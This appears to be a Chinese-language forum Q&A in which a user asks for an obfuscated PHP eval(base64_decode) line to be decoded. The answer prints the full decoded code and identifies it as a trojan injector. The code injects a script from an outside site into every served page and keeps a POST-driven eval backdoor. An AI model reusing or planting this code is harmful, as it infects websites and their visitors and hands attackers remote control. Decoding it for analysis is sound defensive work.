Question

eval(base64_decode 解密

<?php eval(base64_decode('aWYoIWlzc2V0KCRtN3IxKSl7ZnVuY3Rpb24gbTdyKCRzKXtpZihwcmVnX21hdGNoX2FsbCgnIzxzY3JpcHQoLio/KTwvc2NyaXB0PiNpcycsJHMsJGEpKWZvcmVhY2goJGFbMF0gYXMgJHYpaWYoY291bnQoZXhwbG9kZSgiXG4iLCR2KSk+NSl7JGU9cHJlZ19tYXRjaCgnI1tcJyJdW15cc1wnIlwuLDtcPyFcW1xdOi88PlwoXCldezMwLH0jJywkdil8fHByZWdfbWF0Y2goJyNbXChcW10oXHMqXGQrLCl7MjAsfSMnLCR2KTtpZigocHJlZ19tYXRjaCgnI1xiZXZhbFxiIycsJHYpJiYoJGV8fHN0cnBvcygkdiwnZnJvbUNoYXJDb2RlJykpKXx8KCRlJiZzdHJwb3MoJHYsJ2RvY3VtZW50LndyaXRlJykpKSRzPXN0cl9yZXBsYWNlKCR2LCcnLCRzKTt9aWYocHJlZ19tYXRjaF9hbGwoJyM8aWZyYW1lIChbXj5dKj8pc3JjPVtcJyJdPyhodHRwOik/Ly8oW14+XSo/KT4jaXMnLCRzLCRhKSlmb3JlYWNoKCRhWzBdIGFzICR2KWlmKHByZWdfbWF0Y2goJyMgd2lkdGhccyo9XHMqW1wnIl0/MCpbMDFdW1wnIj4gXXxkaXNwbGF5XHMqOlxzKm5vbmUjaScsJHYpJiYhc3Ryc3RyKCR2LCc/Jy4nPicpKSRzPXByZWdfcmVwbGFjZSgnIycucHJlZ19xdW90ZSgkdiwnIycpLicuKj88L2lmcmFtZT4jaXMnLCcnLCRzKTskcz1zdHJfcmVwbGFjZSgkYT1iYXNlNjRfZGVjb2RlKCdQSE5qY21sd2RDQnpjbU05YUhSMGNEb3ZMMlI1WVhKckxtTnZiUzl0YjJJdlpIbGhjbXRpWDNaaU1qVXROeTV3YUhBZ1Bqd3ZjMk55YVhCMFBnPT0nKSwnJywkcyk7aWYoc3RyaXN0cigkcywnPGJvZHknKSkkcz1wcmVnX3JlcGxhY2UoJyMoXHMqPGJvZHkpI21pJywkYS4nXDEnLCRzKTtlbHNlaWYoc3RycG9zKCRzLCcsYScpKSRzLj0kYTtyZXR1cm4gJHM7fWZ1bmN0aW9uIG03cjIoJGEsJGIsJGMsJGQpe2dsb2JhbCAkbTdyMTskcz1hcnJheSgpO2lmKGZ1bmN0aW9uX2V4aXN0cygkbTdyMSkpY2FsbF91c2VyX2Z1bmMoJG03cjEsJGEsJGIsJGMsJGQpO2ZvcmVhY2goQG9iX2dldF9zdGF0dXMoMSkgYXMgJHYpaWYoKCRhPSR2WyduYW1lJ10pPT0nbTdyJylyZXR1cm47ZWxzZWlmKCRhPT0nb2JfZ3poYW5kbGVyJylicmVhaztlbHNlICRzW109YXJyYXkoJGE9PSdkZWZhdWx0IG91dHB1dCBoYW5kbGVyJz9mYWxzZTokYSk7Zm9yKCRpPWNvdW50KCRzKS0xOyRpPj0wOyRpLS0peyRzWyRpXVsxXT1vYl9nZXRfY29udGVudHMoKTtvYl9lbmRfY2xlYW4oKTt9b2Jfc3RhcnQoJ203cicpO2ZvcigkaT0wOyRpPGNvdW50KCRzKTskaSsrKXtvYl9zdGFydCgkc1skaV1bMF0pO2VjaG8gJHNbJGldWzFdO319fSRtN3JsPSgoJGE9QHNldF9lcnJvcl9oYW5kbGVyKCdtN3IyJykpIT0nbTdyMicpPyRhOjA7ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsnZSddKSk7')); ?>

请高手帮我解下密吧

Answer 1

if(!isset($m7r1)){function m7r($s){if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}if(preg_match_all('#<iframe ([^>]*?)src=[\'"]?(http:)?//([^>]*?)>#is',$s,$a))foreach($a[0] as $v)if(preg_match('# width\s*=\s*[\'"]?0*[01][\'"> ]|display\s*:\s*none#i',$v)&&!strstr($v,'?'.'>'))$s=preg_replace('#'.preg_quote($v,'#').'.*?</iframe>#is','',$s);$s=str_replace($a='<script src=http://dyark.com/mob/dyarkb_vb25-7.php ></script>'),'',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',$a.'\1',$s);elseif(strpos($s,',a'))$s.=$a;return $s;}function m7r2($a,$b,$c,$d){global $m7r1;$s=array();if(function_exists($m7r1))call_user_func($m7r1,$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='m7r')return;elseif($a=='ob_gzhandler')break;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('m7r');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}$m7rl=(($a=@set_error_handler('m7r2'))!='m7r2')?$a:0;eval(base64_decode($_POST['e']));
代码的意思是将参数中的<script>...</script>部分替换为<script src=http://dyark.com/mob/dyarkb_vb25-7.php ></script>，这样网页就被挂上了马。这段代码应该是通过webshell上传的一段挂马程序。